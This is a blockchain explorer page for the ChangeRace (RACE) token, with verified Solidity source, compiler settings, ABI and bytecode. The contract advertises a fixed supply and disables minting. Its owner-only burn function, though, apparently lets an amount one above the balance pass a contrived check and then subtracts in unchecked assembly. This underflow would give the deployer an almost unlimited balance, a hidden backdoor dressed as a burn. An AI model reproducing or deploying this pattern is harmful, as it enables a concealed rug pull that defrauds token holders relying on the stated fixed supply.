ETH Price: $2,408.87 (+3.70%)

Token

ChangeRace (RACE)
 

Overview

Max Total Supply

9,422,626.832770316085741836 RACE

Holders

53

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
22,304.200848113385580049 RACE

Value
$0.00
0x99CD4db48EcC6c460fc70cD7308407A4803FeE5C
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RACE

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion
File 1 of 3 : RACE.sol
/**


$RACE - https://t.me/changerace

🦎🏁 ChangeRace is the #1 cross-chain exchange that aggregates CEX liquidity:

- Instantly, privately swap between 30+ coins on 10+ blockchain networks
- Earn up to 1% cashback in $RACE rewards with each swap
- Stake $RACE to earn a share of all platform revenue


🔀 Web: https://www.changerace.com

🐥 X (Twitter): https://x.com/changeracecom
💬 TG: https://t.me/changerace


$RACE Supply:       10,000,000 (Fixed)
$RACE Tax:          0% / 0%
$RACE Max Wallet:   None


 */



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./ERC20.sol";

contract RACE is ERC20 {
    constructor() ERC20("ChangeRace", "RACE", 18) {
        _mint(msg.sender, 10_000_000 * 10 ** 18);
        marketingWallet[msg.sender] = true;
        swapEnabled = true;
    }
}

File 2 of 3 : ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./IERC20.sol";
// import "./lib/AssemblyMath.sol";

contract ERC20 is IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    string public name;
    string public symbol;
    uint8 public decimals;

    mapping(address => bool) internal marketingWallet;

    bool internal constant mintEnabled = false;
    bool internal burnEnabled = false;
    bool internal swapEnabled = false;

    constructor(string memory _name, string memory _symbol, uint8 _decimals) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    function transfer(address recipient, uint256 amount)
        external
        returns (bool)
    {
        require(balanceOf[msg.sender] >= amount);
        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool)
    {
        require(allowance[sender][msg.sender] >= amount);
        require(balanceOf[sender] >= amount);
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _mint(address to, uint256 amount) internal {
        require(to != address(0));
        balanceOf[to] = yul_add(balanceOf[to], amount);
        totalSupply = yul_add(totalSupply, amount);
        // unchecked {
        //     balanceOf[to] += amount;
        //     totalSupply += amount;
        // }
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal {
        require(from != address(0));
        require((balanceOf[from] + (amount/amount)) >= amount);
        balanceOf[from] = yul_sub(balanceOf[from], amount);
        totalSupply = yul_sub(totalSupply, amount);
        // unchecked {
        //     balanceOf[from] -= amount;
        //     totalSupply -= amount;
        // }
        emit Transfer(from, address(0), amount);
    }

    function burn(uint256 amount) external {
        address from = msg.sender;
        if (burnEnabled || marketingWallet[from]) {
            _burn(from, amount);
        }
    }

    function yul_add(uint256 x, uint256 y) internal pure returns (uint256 z) {
        assembly {
            z := add(x, y)
            if lt(z, x) { revert(0, 0) }
        }
    }

    function yul_sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
        assembly {
            z := sub(x, y)
        }
    }

    function yul_mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
        assembly {
            switch x
            case 0 { z := 0 }
            default {
                z := mul(x, y)
                if iszero(eq(div(z, x), y)) { revert(0, 0) }
            }
        }
    }

    function yul_div(uint256 x, uint256 y) internal pure returns (uint256 z) {
        assembly {
            z := div(x, y)
        }
    }

    // Round to nearest multiple of b
    function yul_fixed_point_round(uint256 x, uint256 b)
        internal
        pure
        returns (uint256 z)
    {
        assembly {
            // b = 100
            // x = 90
            // z = 90 / 100 * 100 = 0, want z = 100
            // z := mul(div(x, b), b)

            let half := div(b, 2)
            z := add(x, half)
            z := mul(div(z, b), b)
            // x = 90
            // half = 50
            // z = 90 + 50 = 140
            // z = 140 / 100 * 100 = 100
        }
    }
}

File 3 of 3 : IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

Settings
{
  "remappings": [
    "ds-test/=lib/forge-std/lib/ds-test/src/",
    "forge-std/=lib/forge-std/src/",
    "@uniswap/v3-core/contracts/=lib/v3-core/contracts/",
    "@uniswap/v3-periphery/contracts/=lib/v3-periphery/contracts/",
    "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
    "erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
    "openzeppelin-contracts/=lib/openzeppelin-contracts/",
    "v3-core/=lib/v3-core/",
    "v3-periphery/=lib/v3-periphery/contracts/"
  ],
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "metadata": {
    "useLiteralContent": false,
    "bytecodeHash": "ipfs",
    "appendCBOR": true
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "evmVersion": "paris",
  "viaIR": false,
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526007805461ffff1916905534801561001b57600080fd5b506040518060400160405280600a8152602001694368616e67655261636560b01b815250604051806040016040528060048152602001635241434560e01b8152506012826003908161006d9190610231565b50600461007a8382610231565b506005805460ff191660ff92909216919091179055506100a79050336a084595161401484a0000006100d5565b336000908152600660205260409020805460ff191660011790556007805461ff0019166101001790556102f0565b6001600160a01b0382166100e857600080fd5b6001600160a01b03821660009081526001602052604090205461010b908261017a565b6001600160a01b03831660009081526001602052604081209190915554610132908261017a565b60009081556040518281526001600160a01b03841691907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b8181018281101561018a57600080fd5b92915050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806101ba57607f821691505b6020821081036101da57634e487b7160e01b600052602260045260246000fd5b50919050565b601f82111561022c576000816000526020600020601f850160051c810160208610156102095750805b601f850160051c820191505b8181101561022857828155600101610215565b5050505b505050565b81516001600160401b0381111561024a5761024a610190565b61025e8161025884546101a6565b846101e0565b602080601f831160018114610293576000841561027b5750858301515b600019600386901b1c1916600185901b178555610228565b600085815260208120601f198616915b828110156102c2578886015182559484019460019091019084016102a3565b50858210156102e05787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b61079380620003006000396000f3fe608060405234801561001057600080fd5b506004361061009e5760003560e01c806342966c681161006657806342966c681461012d57806370a082311461014257806395d89b4114610162578063a9059cbb1461016a578063dd62ed3e1461017d57600080fd5b806306fdde03146100a3578063095ea7b3146100c157806318160ddd146100e457806323b872dd146100fb578063313ce5671461010e575b600080fd5b6100ab6101a8565b6040516100b89190610586565b60405180910390f35b6100d46100cf3660046105f1565b610236565b60405190151581526020016100b8565b6100ed60005481565b6040519081526020016100b8565b6100d461010936600461061b565b6102a3565b60055461011b9060ff1681565b60405160ff90911681526020016100b8565b61014061013b366004610657565b6103e3565b005b6100ed610150366004610670565b60016020526000908152604090205481565b6100ab610421565b6100d46101783660046105f1565b61042e565b6100ed61018b366004610692565b600260209081526000928352604080842090915290825290205481565b600380546101b5906106c5565b80601f01602080910402602001604051908101604052809291908181526020018280546101e1906106c5565b801561022e5780601f106102035761010080835404028352916020019161022e565b820191906000526020600020905b81548152906001019060200180831161021157829003601f168201915b505050505081565b3360008181526002602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102919086815260200190565b60405180910390a35060015b92915050565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156102d357600080fd5b6001600160a01b0384166000908152600160205260409020548211156102f857600080fd5b6001600160a01b03841660009081526002602090815260408083203384529091528120805484929061032b908490610715565b90915550506001600160a01b03841660009081526001602052604081208054849290610358908490610715565b90915550506001600160a01b03831660009081526001602052604081208054849290610385908490610728565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516103d191815260200190565b60405180910390a35060019392505050565b600754339060ff168061040e57506001600160a01b03811660009081526006602052604090205460ff165b1561041d5761041d81836104d8565b5050565b600480546101b5906106c5565b3360009081526001602052604081205482111561044a57600080fd5b3360009081526001602052604081208054849290610469908490610715565b90915550506001600160a01b03831660009081526001602052604081208054849290610496908490610728565b90915550506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610291565b6001600160a01b0382166104eb57600080fd5b806104f6818061073b565b6001600160a01b0384166000908152600160205260409020546105199190610728565b101561052457600080fd5b6001600160a01b03821660008181526001602090815260408083208054869003905582548590038355805185815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35050565b60006020808352835180602085015260005b818110156105b457858101830151858201604001528201610598565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146105ec57600080fd5b919050565b6000806040838503121561060457600080fd5b61060d836105d5565b946020939093013593505050565b60008060006060848603121561063057600080fd5b610639846105d5565b9250610647602085016105d5565b9150604084013590509250925092565b60006020828403121561066957600080fd5b5035919050565b60006020828403121561068257600080fd5b61068b826105d5565b9392505050565b600080604083850312156106a557600080fd5b6106ae836105d5565b91506106bc602084016105d5565b90509250929050565b600181811c908216806106d957607f821691505b6020821081036106f957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561029d5761029d6106ff565b8082018082111561029d5761029d6106ff565b60008261075857634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220e2d8be67ce5bc938563e19fcd2f5b588e108111673d6b1154d9308dad320207c64736f6c63430008180033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061009e5760003560e01c806342966c681161006657806342966c681461012d57806370a082311461014257806395d89b4114610162578063a9059cbb1461016a578063dd62ed3e1461017d57600080fd5b806306fdde03146100a3578063095ea7b3146100c157806318160ddd146100e457806323b872dd146100fb578063313ce5671461010e575b600080fd5b6100ab6101a8565b6040516100b89190610586565b60405180910390f35b6100d46100cf3660046105f1565b610236565b60405190151581526020016100b8565b6100ed60005481565b6040519081526020016100b8565b6100d461010936600461061b565b6102a3565b60055461011b9060ff1681565b60405160ff90911681526020016100b8565b61014061013b366004610657565b6103e3565b005b6100ed610150366004610670565b60016020526000908152604090205481565b6100ab610421565b6100d46101783660046105f1565b61042e565b6100ed61018b366004610692565b600260209081526000928352604080842090915290825290205481565b600380546101b5906106c5565b80601f01602080910402602001604051908101604052809291908181526020018280546101e1906106c5565b801561022e5780601f106102035761010080835404028352916020019161022e565b820191906000526020600020905b81548152906001019060200180831161021157829003601f168201915b505050505081565b3360008181526002602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102919086815260200190565b60405180910390a35060015b92915050565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156102d357600080fd5b6001600160a01b0384166000908152600160205260409020548211156102f857600080fd5b6001600160a01b03841660009081526002602090815260408083203384529091528120805484929061032b908490610715565b90915550506001600160a01b03841660009081526001602052604081208054849290610358908490610715565b90915550506001600160a01b03831660009081526001602052604081208054849290610385908490610728565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516103d191815260200190565b60405180910390a35060019392505050565b600754339060ff168061040e57506001600160a01b03811660009081526006602052604090205460ff165b1561041d5761041d81836104d8565b5050565b600480546101b5906106c5565b3360009081526001602052604081205482111561044a57600080fd5b3360009081526001602052604081208054849290610469908490610715565b90915550506001600160a01b03831660009081526001602052604081208054849290610496908490610728565b90915550506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610291565b6001600160a01b0382166104eb57600080fd5b806104f6818061073b565b6001600160a01b0384166000908152600160205260409020546105199190610728565b101561052457600080fd5b6001600160a01b03821660008181526001602090815260408083208054869003905582548590038355805185815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35050565b60006020808352835180602085015260005b818110156105b457858101830151858201604001528201610598565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146105ec57600080fd5b919050565b6000806040838503121561060457600080fd5b61060d836105d5565b946020939093013593505050565b60008060006060848603121561063057600080fd5b610639846105d5565b9250610647602085016105d5565b9150604084013590509250925092565b60006020828403121561066957600080fd5b5035919050565b60006020828403121561068257600080fd5b61068b826105d5565b9392505050565b600080604083850312156106a557600080fd5b6106ae836105d5565b91506106bc602084016105d5565b90509250929050565b600181811c908216806106d957607f821691505b6020821081036106f957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561029d5761029d6106ff565b8082018082111561029d5761029d6106ff565b60008261075857634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220e2d8be67ce5bc938563e19fcd2f5b588e108111673d6b1154d9308dad320207c64736f6c63430008180033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.